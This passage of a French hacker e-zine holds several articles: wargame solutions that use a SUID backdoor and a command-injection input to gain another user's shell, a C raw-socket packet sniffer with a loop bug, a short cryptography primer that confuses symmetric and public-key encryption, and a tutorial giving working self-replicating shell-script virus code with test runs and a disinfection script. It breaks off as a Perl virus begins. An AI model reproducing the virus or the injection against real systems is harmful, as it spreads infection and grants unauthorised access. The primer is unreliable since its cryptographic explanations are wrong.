
Note de Neofox :  Vous ne trouverez ici pour l'instant que les solutions des niveaux
0 et 1, non pas de nous ne soyons alls plus loin, MeiK et moi-mme sommes actuellement
au niveau 10, mais plutt pour une question d'organisation ; la dcision de faire cet
article a t prise  la dernire minute. Par ailleurs, nous faisons appel  vtre bon
sens, vous qui n'avez pas encore attaqu ce challenge ; n'utilisez pas ce texte pour
tricher et passer au niveaux suprieurs, ce n'est pas dans vtre intert, d'autant plus
que les premiers sont trs simples.           






                             --=={NIVEAU 0}==-- 

Bon, le tout premier niveau que vous aurez  passer. Voici ce que vous disent les 
bonhommes de Hackerslab pour vous aider : 


         It' s to good thing that someone was nice enough to install 
         to backdoor. Your task Is to use this backdoor to get to the 
         next level. First, telnet to drill.hackerslab.org. 

         HINT: Check device drivers 



Je ne vais pas traduire dans cet article, car je n'en vois pas le but. C'est de 
'anglais vraiment basique, un gamin en classe de 6e pourrait traduire. 
Bon, donc vous vous connectez sur drill.hackerslab.org et mettez level0/guest 
comme login/password. 



Donc, je vous conseille de savoir ce qu'est une backdoor, sinon vous n'irez 
pas plus loin dans ce challenge je pense. Beaucoup de backdoors sont par exemple 
des ports ouverts avec un shell qui coute dessus, un shell script avec le bit SUID ... 
dans cet exemple, on vous dit que la backdoor est dans /dev (si vous savez vous servir 
d'UNIX, vous savez que /dev contient tous les priphriques). Donc, immdiatement vous 
allez dans /dev et vous vous mettez  chercher un fichier avec le bit SUID. 

Voici la commande : 

[level0@drill level0]$ find / -perm + 4000 2>/dev/null 

Et il vous sort les fichiers suivants :

/dev/.hi 

/etc/bof 

/tmp/sh 

/bin/su 

/home/nobody/.ssh2/.nobody 

/home/nobody/.Xsegments 

/lib/security/pam_auth.so 

/usr/bin/passwd 

/usr/bin/amos 

/usr/bin/alert
 
/usr/bin/ps2 

/usr/games/trojka 

/usr/local/bin/hof 

/usr/man/pt_BR/man8/today 

/usr/sbin/sendmail 

/usr/libexec/pt_chown 



Bon, tous ces fichiers sont SUID. Cool. La solution est quelque part l dedans. 
Vous avez deux choix, soit vous essayez les fichiers un par un et regardez si vous 
tes toujours level0 ou tes passs level1, soit vous cherchez LE fichier qui a comme 
proprio un utilisateur level1, et comme groupe, level0. 

Vous cherchez et remarquez qu'un fichier a ces caractristiques. 
Ce fichier s'appelle .hi . Vous l'excutez : 

/dev/.hi 

Vous regardez qui vous tes 

whoami 

level1 

Vous constatez que vous n'tes plus level0, mais level1. Ensuite, le but 
est de pouvoir excuter /bin/pass. L vous l'excutez et vous avez une 
gentille voix ... ha non merde, juste un message, qui vous dit que le mot 
de passe pour le niveau suivant est 'newworld'. 

  



                               --=={Level1}==--
 

Avant de vous connecter  drill.hackerslab.org avec les login/pass level1/newworld, 
allez jeter un oeil au problme pos : 



        The computer student named Matthew is doing his C-programming homework. 
        His teacher wanted him to you create you to program/script that if there 
        I am types in to path name The program gives him what type of file/drectory 
        it is. There I am was able to get it Easily by using the file utility in the 
        Unix-based commands. However, the Flaw lies in this solution. Use this flaw 
        and go on to the next level. 

        HINT: One of 12 books known ace the Minor prophets. 




Vous devez donc, comme toujours, trouver le programme qui vous aidera  passer au 
niveau suivant. Vous cherchez donc un programme du groupe level1 avec le propritaire 
level2. Vous devrez trouver a en thorie : 

-rwsr-x--- 1 level2 level1 13423 Apr 6 2000 /usr/bin/amos 


Et en plus, ce fichier porte bien le nom d'un prophte (je ne sais pas lequel, mais 
a me dit quelque chose en tout cas =). Ensuite, sous UNIX, il y a une technique qui 
permet d'enchaner deux commandes (en Perl aussi). Il suffit de mettre un point virgule 
(;) entre les deux commandes. Ce programme (amos) vous permet, si vous exploitez son statut 
de level2, d'excuter n'importe quel programme en tant que level2. 

Ce que vous fates donc :  

[level1@drill level1]$ cd /usr/bin
[level1@drill bin]$ ./amos 

PATH: /etc ; /bin/bash 



Et l, vous obtenez un shell en tant que level2 et vous pouvez ensuite excuter 
/bin/pass. Mais pour gagner 5 secondes, fates plutt : 

./amos 

PATH: /etc ; /bin/pass 

Vous obtenez donc le password vous menant au niveau 2 !




[ Conclustion ]

Vous dcouvrirez la suite la semaine prochaine sur mon site. 
Nous vous tiendrons de la rouverture de ce dernier par le 
biais du site du groupe.













----------------------------------------------------------------------------------------------
IX.                     Programmation d'un sniffer                                      Li0n7
----------------------------------------------------------------------------------------------



[ Introduction ]

Qu'est-ce qu'un sniffer? Ils tirent leur nom du premier outil de capture du trafic
rseau Sniffer Pro de Network Associates. En effet, un sniffer se contente d'analyser
les diffrentes trames traversant le rseau pour les afficher en clair sur l'cran
de l'attaquant. Pour cela, il va exploiter le mode promiscuous de la carte rseau, et
ainsi visualiser le trafic rseau. Il faut savoir que tout hte reoit des trames et 
les analyse celon leur adresse MAC destinataire, ainsi il peut les ignorer ou non.
L'inferface promiscuous contourne la pile TCP/IP de l'OS en laissant alors passer tous 
les paquets de la couche liason  l'application. La plus part des attaquants qui utilisent 
ce type de programme cherchent  rcuprer des informations lies  l'authentification 
(tout protocole compris), ou d'autres types d'informations sensibles
(qu'elles soient crypts ou non). Analyse d'un analyseur ...


 



                    ++++ | Partie 1 : Programmation | ++++

                                     => Ovrir l'interface rseau 
                                     => Lire les paquets
                                     => Point d'entre


 Il y a plusieurs faons de programmer un sniffer. Une librairie, la lippcap est 
disponible  cet effet, elle inclue de nombreuses fonctions utiles destins  
simplifier la capture et la gestion des trames rseaux et interfaces rseaux.
Deuxime mthode,  utilisation des raw sockets, programmation socket brute, et
rcupration brute des trames. Nous n'allons pas exploiter la libraire pcap, du fait 
qu'elle est trop connue, trop utilise, et cela ne prsenterait donc aucun intrt.
 Nous allons ainsi utiliser les librairies que linux nous propose par dfaut, ce
dernier se contente de nous fournir une interface avec la couche de liaison via son
interface socket. 

   



  I. Ouvrir l'interface rseau :
  ______________________________

Commenons par ouvrir notre interface rseau (eth0 par exemple).
Cette fonction prend pour argument le nom de l'interface, pass en paramtre, 
entre par l'utilisateur.

int ouvre_interface(char *name)
{
            
      struct sockaddr addr; /* dclaration de notre structure gnrique d'adressage */

      struct ifreq ifr; /* structure de manipulation des trames */

      int sockfd; /* dclaration de notre socket */

      sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)); /* dfinition de notre socket*/

      if(sockfd<0) return -1;

      memset(&addr, 0, sizeof(addr)); /* on remplit de 0 le ptr addr */

      addr.sa_family=AF_INET;
      strncpy(addr.sa_data, name, sizeof(addr.sa_data));

      /* on bind via notre socket sockfd, et ainsi on "coute" */
      /* les trames rseaux circulant */
      if(bind(sockfd, &addr, sizeof(addr)) !=0 ){
        close(sockfd);
        return -1;
      }

      memset(&ifr,0,sizeof(ifr));
      strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));

  
      /* le point d'entre ioctl permet l'xcutions d'oprations particulires */
      /* sur des priphriques autres que lectures/ criture, ici nous accdons */
      /* aux fonctions de notre socket */

     if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){
        close(sockfd);
        return -1;
      }

      /* si l'interface n'est pas ethernet alors on quitte */
      if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER){
        close(sockfd);
        return -1;
      }

      /* accs aux options des sockets */
      memset(&ifr,0,sizeof(ifr));
      strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
      if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0)
      {
        close(sockfd);
        return -1;
      }

      ifr.ifr_flags |= IFF_PROMISC;
      if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) {
        close(sockfd);
        return -1;
      }
      return sockfd;
}





  2. Lire les paquets :
  _____________________

 
On va donc crer une boucle de lecture des paquets reus. A chaque trame analyse, 
l'adresse MAC source et destinataire est affiche, ainsi que le type du paquet. 
Cette fonction prend donc en argument notre socket cre antrieurement. Nous allons
nous servir de la structure ether_header:
struct ether_header {
	u_char ether_dhost[6]; //adresse destination
	u_char ether_shost[6]; //adresse source
	u_short ether_type;    //type de trame
} 


  int read_loop(sockfd)
  {

    /* structure d'adressage */
    struct sockaddr_in from; 

    /* dclaration des variables */
    char buf[1792], *ptr;

    /* dclaration des integers */
    int size, fromlen, c;
    
    /* dclaration de notre structure permettant */
    /* de lire les enttes ethernet */
    struct ether_header *hdr;


    while(1){

      /* la variable size contiendra les paquets reus */
      size = recv(sockfd, buf, sizeof(buf),0); 

      if(size<0) return -1;

      if (size < sizeof(struct ether_header)) continue;

      hdr=(struct ether_header *)buf;

      /* pour chaque paquet on affiche l'adresse 
      ** MAC source et l'adresse Mac de destination
      **/

     for(c=0; c < ETH_ALEN; c++){
	     printf("%s%02x",c==0 ? "" : ":", hdr->ether_shost[c]);
      printf(" > ");

      for(c=0; c < ETH_ALEN; c++)
             printf("%s%02x",c==0 ? "" : ":", hdr->ether_dhost[c]);

     /* puis enfin le type de paquet */
      printf(" type: %i\n",hdr->ether_type);
    }

    printf("Nombre de paquets sniffs: %d\n", c);
  }





  3. Point d'entre :
  ___________________

Pour finir, la fonction principale qui rcupre l'interface rseau passe en
argument :



 int main(int argc, char **argv)
  {

    /* notre socket */
    int sockfd;
    
    /* variable  contenant l'interface */
    /* pass en argument */
    char *name=argv[1];

   
    if(!argv[1]){
      fprintf(stderr, "Veuillez entrer une interface valide\n");
      return -1;
    }

    /* on lance la fonction d'initialisation de l'interface, */
    /* en cas d'erreur on quitte */
    if((sockfd = ouvre_interface(name))<0){
      fprintf(stderr, "Erreur lors de l'ouverture de l'interface\n");
      return -1;
    }

    /* on lit les paquets, en cas d'erreur on quitte */
    if(read_loop(sockfd) < 0){
     fprintf(stderr, "Erreur lors de la lecture des paquets\n");
      return -1;
    }
    return 0;
  }





                    ++++ | Partie 2 : Code source | ++++



------------8<-----------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <net/ethernet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/sockios.h>

int ouvre_interface(char *name)
{
  struct sockaddr addr;
  struct ifreq ifr;
  int sockfd;
  sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
  if(sockfd<0)
  return -1;
  memset(&addr, 0, sizeof(addr));
  addr.sa_family=AF_INET;
  strncpy(addr.sa_data, name, sizeof(addr.sa_data));
  if(bind(sockfd, &addr, sizeof(addr)) !=0 ){
    close(sockfd);
    return -1;
  }
  memset(&ifr,0,sizeof(ifr));
  strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
  if(ioctl(sockfd, SIOCGIFHWADDR, &ifr)<0){
    close(sockfd);
    return -1;
  }
  if(ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER)
  {
    close(sockfd);
    return -1;
  }
  memset(&ifr,0,sizeof(ifr));
  strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
  if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) <0)
  {
    close(sockfd);
    return -1;
  }
  ifr.ifr_flags |= IFF_PROMISC;
  if(ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) {
    close(sockfd);
    return -1;
  }
  return sockfd;
}

  int read_loop(sockfd)
  {
    struct sockaddr_in from;
    char buf[1792], *ptr;
    int size, fromlen, c;
    struct ether_header *hdr;

    while(1){
      size = recv(sockfd, buf, sizeof(buf),0);
      if(size<0)
	return -1;
      if (size < sizeof(struct ether_header))
	continue;
      hdr=(struct ether_header *)buf;
      for(c=0; c < ETH_ALEN; c++){
	     printf("%s%02x",c==0 ? "" : ":", hdr->ether_shost[c]);
      printf(" > ");
      for(c=0; c < ETH_ALEN; c++)
         printf("%s%02x",c==0 ? "" : ":", hdr->ether_dhost[c]);
      printf(" type: %i\n",hdr->ether_type);
    }
    printf("Nombre de paquets sniffs: %d\n", c);
  }

  int main(int argc, char **argv)
  {
    int sockfd;
    char *name=argv[1];
    if(!argv[1]){
      fprintf(stderr, "Veuillez entrer une interface valider\n");
      return -1;
    }

    if((sockfd = ouvre_interface(name))<0){
      fprintf(stderr, "Erreur lors de l'ouverture de l'interface\n");
      return -1;
    }

    if(read_loop(sockfd) < 0){
     fprintf(stderr, "Erreur lors de la lecture des paquets\n");
      return -1;
    }

    return 0;
  }



------------8<-----------------------------------------------------------------------





[ Conclusion ]

Une notion aussi simple que le sniffing ne ncssite pas d'largissemet inutile, 
mis  part le fait que je consacrerai peut tre un article sur la programmation 
d'un sniffer via la lip pcap ultrieurement mme si cela ne m'attire pas vraiment, 
ce qui pourrait tre relativement intrssant bien que simple et rapide. 
Les parades au sniffing sont simple ; le cryptage  des donnes des trames circulant 
sur le rseau, bien que pouvant se montrer dans certains cas superficiel et inutile, 
complique la tache  un attaquant dsireux de s'approprier quelqu'information sensible. 
Ainsi des systmes cryptage, tel que SSH, ont vu le jour, et sont perptuellement remis 
en cause en raison du manque de scurit et de fiabilit qu'ils sont censs proposer. 
Les exploits fleurissent, les utilisateurs dsabuss se multiplient, les sk n'en sont 
que plus ravis.














---------------------------------------------------------------------------------------
X.                     Les Algorithmes                                          MeiK
---------------------------------------------------------------------------------------


[ Introducion ]

Dans ce court article, je vais tenter d'expliquer ce que sont les
algorithmes et comment ils s'appliquent  l'informatique. Ce n'est carrment
pas un mauvais tutorial  3 euros 50 qu'on trouve sur plein de mauvais
sites. Si vous voulez vraiment une formation  la cryptographie et aux
algorithmes, soit vous lisez crypto-gram, un trs bon magazine sur a, soit
vous attendez un peu et quelqu'un fera peut-tre un article dans IOC.
Je vous conseille galement de lire "Applied Cryptography" de Bruce Schneier
qui est sans doute le livre de rfrence dans ce domaine.



  I. Qu'est-ce qu'un Algorithme ? :
  _________________________________

Imaginez que vous avez une variable avec une valeur X et que vous voulez que
cette valeur devienne Y - vous ferez subir quelques calculs  votre X et 
la fin il aura une autre valeur. Eh bien le calcul effectu pour passer de X
 Y c'est a un algorithme.

Vous avez tout t en cours de maths en seconde l ou on vous disait au tout
dbut de l'anne de prendre un nombre, lui ajouter deux, puis multiplier par
trois...bon, eh bien en gros vous aviez affaire  un algorithme dj  cette
poque l.




  II. Usages de l'Algorithmique en informatique :
  _______________________________________________


- On utilise par exemple les algorithmes pour manipuler et grer les
milliards de donnes transitant par le rseau que tout le monde connait :
Internet.

- La cryptographie et les signatures lectroniques dpendent de la thorie
des nombres et d'algorithmes spcifiques et dtermins. Si vous voulez un
exemple, a reprsente une trs grande partie de la scurit d'internet,
tout ce qui est commerce lectronique en dpend. Mais ce genre de scurit
est dcrit en partie par FozZy dans le HZV#11 dans l'article sur la scurit
des banques lectroniques.

- Les algorithmes sont ensuite utiliss en programmation pour effectuer
diverses taches. L'exemple le plus courant rside dans les diffrentes
formes de tri algorithmique, mais je reviendrais beaucoup plus en dtail l
dessus dans un autre article.

Vous voyez que les algorithmes sont quasiment omniprsents en informatique. 



Les algorithmes doivent tre bass sur des fonctions mathmatiques trs
difficiles  prendre  l'envers (factorisation d'entiers, inversion de
valeurs exponentielles, tous les entiers crits en notation scientifique
peuvent tre facilement reprsents mais difficilement dcouverts, etc.)

Le facteur humain, enfin la chose qui utilisera l'algorithme devra garder
secrtes toutes les cls et autres codes (enfin, tout ce qui est connu pour
devoir rester secret). L est le plus gros problme - le social engineering
a toujours march, les hackers en sont pleinement conscients et en tirent un
avantage certain.

L'algorithme doit tre construit de sorte que seules les attaques par brute
force soient la solution de dcryptage. Sinon a signifie que l'algorithme
contient des failles.

L'usage le plus rpandu de la cryptogrphie reste sans conteste la scurit
sur Internet, mais a n'est pas l'ultime solution, et  mon avis, il n'y
aura jamais de solution efficace.



  III. Types de Cryptages : 
  _________________________


       A. Cryptage symtrique : 
       ________________________

     
Le but de la cryptographie est quand mme que le texte confidentiel est crypt, 
transform en un amas informe de caractres incomprhensibles et que seul celui 
(ou ceux) qui possde la cl peut le dcrypter afin de lui rendre une forme dj 
plus comprhensible par le commun des mortels. 

L'algorithme doit donc tre fiable, comme je l'ai dit au dessus, mais aussi
doit pas tre universel et pouvoir tre dcod depuis n'importe quel
programme de cryptage. Il faut qu'une personne A envoie son message a sa
copine la personne B sans que big brother (C) ne puisse le lire. Le cryptage
avec des cls publiques intervient ici. Tout le monde connait l'algorithme,
mais la cl miraculeuse renferme le secret...En supposant que l'algorithme
est scure, le seul moyen de lire le message immdiatement est d'avoir la
cl, cl qui sera prfrablement une phrase longue. 
Cette procdure est utile si on sait que les gens sont confiants entre eux
et qu'ils vont pas donner la cl  tout le monde.
a devient plus compliqu si c'est pas le cas, mais le concept reste le
mme.

       B. Les MAC, ou Codes d'autentification de Messages :
       ____________________________________________________

Ce sont les vrificateurs dela cryptographie. Ils n'ont rien d'autre  faire 
dans ce domaine, mais ils ont leurs propres algorithmes. 

L'ide derrire le concept des MAC est simple: quand un paquet, une
information ... sont envoys, ils sont marqus d'un code et le MAC reconnait
le code donc il peut authentifier la source et confirmer que le paquet vient
bien de l'endroit d'o il est suppos venir et qu'il contient bien les
informations thoriquement attendues.

   

        C. Fonctions de Hashage :
        _________________________

L'ide des fonctions de Hashage est qu'elles sont mathmatiquement des
donnes informatiques qui sont facilement lues pour confirmer quelque chose,
mais intraitables avec le Reverse Engineering  moins de forger la source.

Cela peut-tre utilis de diffrentes manires. La manire la plus connue je
pense rside dans le vrificateur d'intgrit Tripwire, dont nous
reviendront (beaucoup) plus en dtail au prochain numro.




[ Conclusion ]

Cet article n'est qu'une petite introduction aux usages basiques de la
cryptographie. Dans le prochain numro il y aura certainement les usages les
plus avancs ainsi que peut-tre un dossier sur Tripwire.















---------------------------------------------------------------------------------------
XI.           Shell script & perl script infection                           Emper0r
---------------------------------------------------------------------------------------
                                                                                

              
               +++++++++++++++++++++++++++++++++++
               ++++ Fichier Joint : virus.zip ++++
               +++++++++++++++++++++++++++++++++++


[ Introducion ]

Les virus aux pays des pingouins ont la vie dure. Premirement n'importe qui 
n'infecte pas n'importe quoi n'importe o. L'infection des elf est une chose 
dlicate, donc le mieux pour s'amuser est d'tudier l'infection des scripts.
Cet article n'a pas pour but d'inciter les S-K  polluer les systmes linux, 
mais sert  prsenter un danger potentiel. Ce danger est relativement faible 
vu la facilit de dtecter ce genre de bestiole  et vu la difficult que ces 
virus rencontre pour ce propager.


Notre virus doit infecter un maximum de fichier en respectant des consignes 
de discrtions. 

Il ne doit pas:

	o Crer de messages d'erreur
	o Dtruire ou abmer des donnes
	o Ralentir et/ou provoquer un mauvais fonctionnement du systme
	o Agrandir de faon trop importante les scripts infect





[ Sommaire ]

  I/ Shell script infection.
        A/ Virus  crasement.
        B/ Virus parasite.
	C/ Optimisation du virus.
	D/ Dsinfection.

  II/ Perl script infection.
	A/ Virus parasite.
	B/ Backdoor.

  III/ Perl-shell script infection.
	A/ Virus parasite  mutation simple.






             ++++ | Partie 1 : Shell script infection | ++++
  
                              => Virus  crasement
                              => Virus Parasite
                              => Optimisation du virus
                              => Dsinfection





  I. Virus  crasement :
  _______________________



Je cre un dossier test et dedans j'y place 5 fichiers, 4 fichiers de script 
et 1 fichier image :

[emper0r@laptop test]$ ls -al
total 124
drwxr-xr-x    2 emper0r  emper0r      4096 jun 20 01:16 ./
drwx--x--x   22 emper0r  emper0r      4096 jun 20 01:15 ../
-rwxr-xr-x    1 emper0r  emper0r        35 jun 20 01:15 test*
-rwxr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test1*
-rwxr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test2*
-r-xr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test3*
-rwxr-xr-x    1 emper0r  emper0r     97685 jun 20 01:15 tux.jpg*


Les fichiers de tests sont identiques mais test3 na pas de droits en criture. 
Voici le contenu de ces fichiers:

[emper0r@laptop test]$ cat test
#!/bin/bash
echo 'script de test'
[emper0r@laptop test]$



Bon, on va commencer par un petit script de base qui doit ce reproduire dans 
le rpertoire courant. On cre un nouveau script que j'appelle vx:

#!/bin/bash
for fichier in *		#recherche les fichiers du rpertoire 
                                #courant et place leur nom dans $fichier

do				#dbut de la boucle

        cp $0 $fichier		#copie le contenu du script lanc dans 
                                #le script trouv

done				#on recommence tant qu'il y a des fichiers dans 
                                #le rpertoire


W0W alors a c'est carrment trop l33t comme script !!!
Je vais pouvoir crire pour Hackerz Voice si je continue (humour).


Je lance a:

[emper0r@laptop test]$ ./vx
cp: Ne peut crer un fichier de type rgulier `test3': Permission non accorde
cp: `./vx' et `vx' identifient le mme fichier.

Pour la discrtion c'est loup 2 messages d'erreur dj :)

[emper0r@laptop test]$ ls -al
total 32
drwxr-xr-x    2 emper0r  emper0r      4096 jun 20 01:24 ./
drwx--x--x   23 emper0r  emper0r      4096 jun 20 01:24 ../
-rwxr-xr-x    1 emper0r  emper0r        55 jun 20 01:29 test*
-rwxr-xr-x    1 emper0r  emper0r        55 jun 20 01:29 test1*
-rwxr-xr-x    1 emper0r  emper0r        55 jun 20 01:29 test2*
-r-xr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test3*
-rwxr-xr-x    1 emper0r  emper0r        55 jun 20 01:29 tux.jpg*
-rwxr-xr-x    1 emper0r  emper0r        55 jun 20 01:24 vx*


Ce stupide code a dtruit mon image il s'est recopi dedans  sa place ;
mon image ne fait plus que 55 octets.


[emper0r@laptop test]$ cat test
#!/bin/bash
for fichier in *
do
        cp $0 $fichier
done
[emper0r@laptop test]$


Le contenu de mes scripts  aussi t remplac par le code du virus.
Ce genre de virus est appel virus a crasement, vous avez compris pourquoi ? :)
Ils ne prsentent absolument aucun intert.





  II. Virus Parasite :
  ____________________


Aprs ce premier test on voit que le virus  cre une erreur en voulant
infecter un fichier qui n'a pas de droits en criture.

Ici 2 solutions :

       o rediriger le messages vers /dev/null
       o regarder si l'on est le propritaire de ce script 
         et dans ce cas ajouter les droits, sinon > /dev/null.

La 2nd solution n'est pas terrible car elle alourdit un peu le code, et les 
cas o  il ne vas y avoir les droits d'criture sur le fichier et o on va 
pouvoir les mettre vont tre rares. De toute faon, ce n'est pas trs discret, 
mais  vous de voir ce que vous recherchez.

Le deuxime messages d'erreur est provoqu par le script lanc qui tente 
de se  rcrire lui mme ; il suffit de rediriger vers /dev/null et voila 
c'est rgl.


Il faut aussi que le virus fasse la diffrence entre des fichiers de type 
shell script et les autres, car ajouter un script dans une image ou un elf 
n'a pas de sens.

Pour cela on utilise la commande file :

[emper0r@laptop test]$ file test
test: Bourne-Again shell script text executable
[emper0r@laptop test]$



Dernier point  rgler il faut que le virus se recopie dans les autres shell 
script mais sans les dtruire. Il faut faire un truc comme a :



 ------- 			         -------
|       |				| virus	|
|shell	|    <-- avant			|-------|	<-- aprs
|script	|	 infection		|	|	    infection
|	|				|shell	| 
 ------- 				|script	|
					|	|
					 -------


Voila, on a le code viral au dbut du script. 
Une fois qu'il a fini de bosser il passe la main au code du script original.
Il faut aussi inclure une signature aux script dj infects afin de ne pas 
les rinfecter plusieurs fois.



Voici le code, non optimis, que je propose pour effectuer tout a:


#!/bin/bash
#c0r0na						  #signature
for fichier in *
do
  if [ -f $fichier -a -w $fichier ]		  #$fichier est un fichier ? 
                                                  #on peut y crire dedans ?
  then
    if file $fichier | grep Bourne-A > /dev/null  #teste si le fichier est un 
                                                  #script bash
    then
      head -n 2 $fichier  > .a
      if grep c0r0na .a > /dev/null		  #teste si le fichier a dj
                                                  #t infecter
      then
        rm -f .a
      else
        cat $fichier > .a			  #sinon
        head -n 23 $0 > $fichier		  #place le code viral dans le fichiers
        cat .a >> $fichier			  #remet le script initial  la suite
        rm -f .a
      fi
    fi
  fi
done




C'est vraiment rien de compliqu.

Je restore le dossier test prcdement sauvegard et je teste mon 
nouveau script:

[emper0r@laptop test]$ ls -al
total 128
drwxrwxr-x    2 emper0r  emper0r      4096 jun 20 14:59 ./
drwx--x--x   24 emper0r  emper0r      4096 jun 20 14:59 ../
-rwxr-xr-x    1 emper0r  emper0r        35 jun 20 01:15 test*
-rwxr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test1*
-rwxr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test2*
-r-xr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test3*
-rwxr-xr-x    1 emper0r  emper0r     97685 jun 20 01:15 tux.jpg*
-rwxrwxr-x    1 emper0r  emper0r       441 jun 20 03:15 c0r0na*


On lance le virus :

[emper0r@laptop test]$ ./c0r0na
[emper0r@laptop test]$

Aucun message d'erreur c'est dj a :)

[emper0r@laptop test]$ ls -al
total 128
drwxrwxr-x    2 emper0r  emper0r      4096 jun 20 15:03 ./
drwx--x--x   24 emper0r  emper0r      4096 jun 20 14:59 ../
-rwxr-xr-x    1 emper0r  emper0r       476 jun 20 15:03 test*
-rwxr-xr-x    1 emper0r  emper0r       476 jun 20 15:03 test1*
-rwxr-xr-x    1 emper0r  emper0r       476 jun 20 15:03 test2*
-r-xr-xr-x    1 emper0r  emper0r        35 jun 20 01:16 test3*
-rwxr-xr-x    1 emper0r  emper0r     97685 jun 20 01:15 tux.jpg*
-rwxrwxr-x    1 emper0r  emper0r       441 jun 20 03:15 c0r0na*

Il a l'air d'avoir bien fait son boulot on remarque l'agrandissement des 
scripts test ; l'image n'a pas t dtruite.


Si on fait un "cat test", on voit bien notre code viral au dbut puis aprs
le script original. Maintenant je teste si les scripts infects peuvent 
infecter  leur tour d'autre script.

Je cre un script nomm "test4" et je lance "test" :
Tout marche comme prvu, le code viral se lance, infecte le nouveau fichier 
(test4) et le code original du script est excut. Le script na pas ralenti 
de faon visible le systme sur mon laptop quip d'un duron 900. Pour tester 
le temps mis a effectuer le script on peut lancer le script de cette faon

[emper0r@laptop test]$ time -p ./test
script de test
real 0.17
user 0.10
sys 0.07

Ici c'est parfait mais il faut penser que l'on a infect qu'un seul 
script. Lorsque que je fait le test pour infecter 9 fichiers c'est dj 
un peu plus long:

[emper0r@laptop test]$ time -p ./c0r0na
real 0.48
user 0.26
sys 0.21



Pour ceux qui ne savent pas  quoi ces chiffres correspondent, un "man time" 
suffira. Il serait peut tre bien de mettre un compteur  d'infection pour pas 
ralentir les vielles machines au cas ou on tombe  sur un dossier avec plein de 
shell script a infecter, une fois de plus  vous de voir le but que vous recherchez, 
moi c'est juste pour le fun.





  III. Optimisation du virus :
  ____________________________
	  

Pour optimiser le code, on va choisir des noms de variables d'un seul caractre, 
et essayer de rduire le nombre de lignes :


#!/bin/bash
#c0r0na
for f in *
do
if [ -f $f -a -w $f ];then
if file $f | grep Bourne-A > /dev/null
then
head -n 2 $f > .a
if grep c0r0na .a > /dev/null
then
rm -f .a
else
cat $f > .a
head -n 18 $0 > $f
cat .a >> $f
rm -f .a
fi;fi;fi
done


Voila, il doit y avoir moyen de faire mieux mais je suis pas trs bon en 
programmation shell script. Ce virus tant fourni sous licence GPL vous avez 
le droit de le modifier :)) Le virus passe quand mme de 441 octets a 239 octets 
et de 23 lignes a 18 lignes.



Maintenant il reste un gros problme et je bloque pour le rsoudre de manire 
efficasse : comment infecter les scripts qui ce trouve dans d'autre dossier ?
J'ai penser a faire une boucle du style:

       for dir in *

Puis rentrer dans chaque rpertoire pour infecter les scripts et remonter aux 
niveau suprieur avec un "cd .." mais cela ralentira normment la machine ce 
n'est pas du tout discret :(

J'ai pas de solution adquate ; il faudrait trouver un moyen pour faire une 
sorte de virus rsident. Je pense qu'il doit exister une bonne solution mais 
je sais pas faire. Pour le moment ce virus n'est donc pas capable de vritablement 
se propager. Voila si quelqu'un dtient la solution : mail emper0r@m-net.arbornet.org




                                                                                

  IV. Dsinfection :
  __________________



Pour le fun je vous propose un script de dsinfection, simplifi au 
maximum, en perl:

#!/usr/bin/perl
foreach $Fichier (<*>)						#recherche les fichiers 
                                                                #du rep courant
{
  if ((-f $Fichier) && (-r $Fichier) && (-w $Fichier))		#teste les droits
  {
    open(File, "$Fichier");					#ouvre le fichier

    @Temp=<File>;						#le fichier est plac dans 
                                                                #le tableau Temp
    close(File);
    if (@Temp[1] =~ "c0r0na")				        #teste si fichier infect 
                                                                #par c0r0na
    {
     print "\n----> Le fichier:".$Fichier." est infect\n";
     print "Dsinfection de ".$Fichier." en cours\n";
     	open(File, ">$Fichier");				#ouvre le fichier pour
                                                                #crire dedans

     	print File @Temp[18 .. $#Temp];				#rcrit le fichier sans 
                                                                #les 18 premires ligne
     	close(File);
     print "Dsinfection russi.\n\n";
    }
  }
}


Ce script est facilement configurable pour dsinfecter les diffrents 
viriis de cet article.


Testons ce script de dsinfection :

[emper0r@laptop test]$ cat test
#!/bin/bash
#c0r0na
for f in *
do
if [ -f $f -a -w $f ];then
if file $f | grep Bourne-A > /dev/null
then
head -n 2 $f > .a
if grep c0r0na .a > /dev/null
then
rm -f .a
else
cat $f > .a
head -n 18 $0 > $f
cat .a >> $f
rm -f .a
fi;fi;fi
done
#!/bin/bash
echo 'script de test'
[emper0r@laptop test]$

C'est clair que test est infect. On lance le script de dsinfection.



[emper0r@laptop test]$ ./desinfection

----> Le fichier:test est infecte
Dsinfection de test en cours
Dsinfection russi.

----> Le fichier:c0r0na est infecte
Dsinfection de c0r0na en cours
Dsinfection russi.

[emper0r@laptop test]$ cat test
#!/bin/bash
echo 'script de test'
[emper0r@laptop test]$

Parfait mon script est nettoy.


[emper0r@laptop test2]$ cat c0r0na
[emper0r@laptop test2]$

c0r0na tait le script qui contenait la souche virale qui a infect 
le script test ; son contenu  tait supprim lui aussi.






             ++++ | Partie 2 : Perl script infection | +++
 
                              => Virus Parasite
                              => Backdoor


Je ne vais pas reprendre toute la dmarche faite pour l'infection des shell 
scripts dans cette partie. Le code prsent ici fonctionne de la mme faon 
que prcedemment.


  I. Virus Parasite :
  ___________________


[ Le Code ]



#!/usr/bin/perl
#h0egaard3n						#signature
open(File,$0);						#ouvre le fichier courant
@vx=<File>;						#place son contenu dans le tableau @vx
close(File);
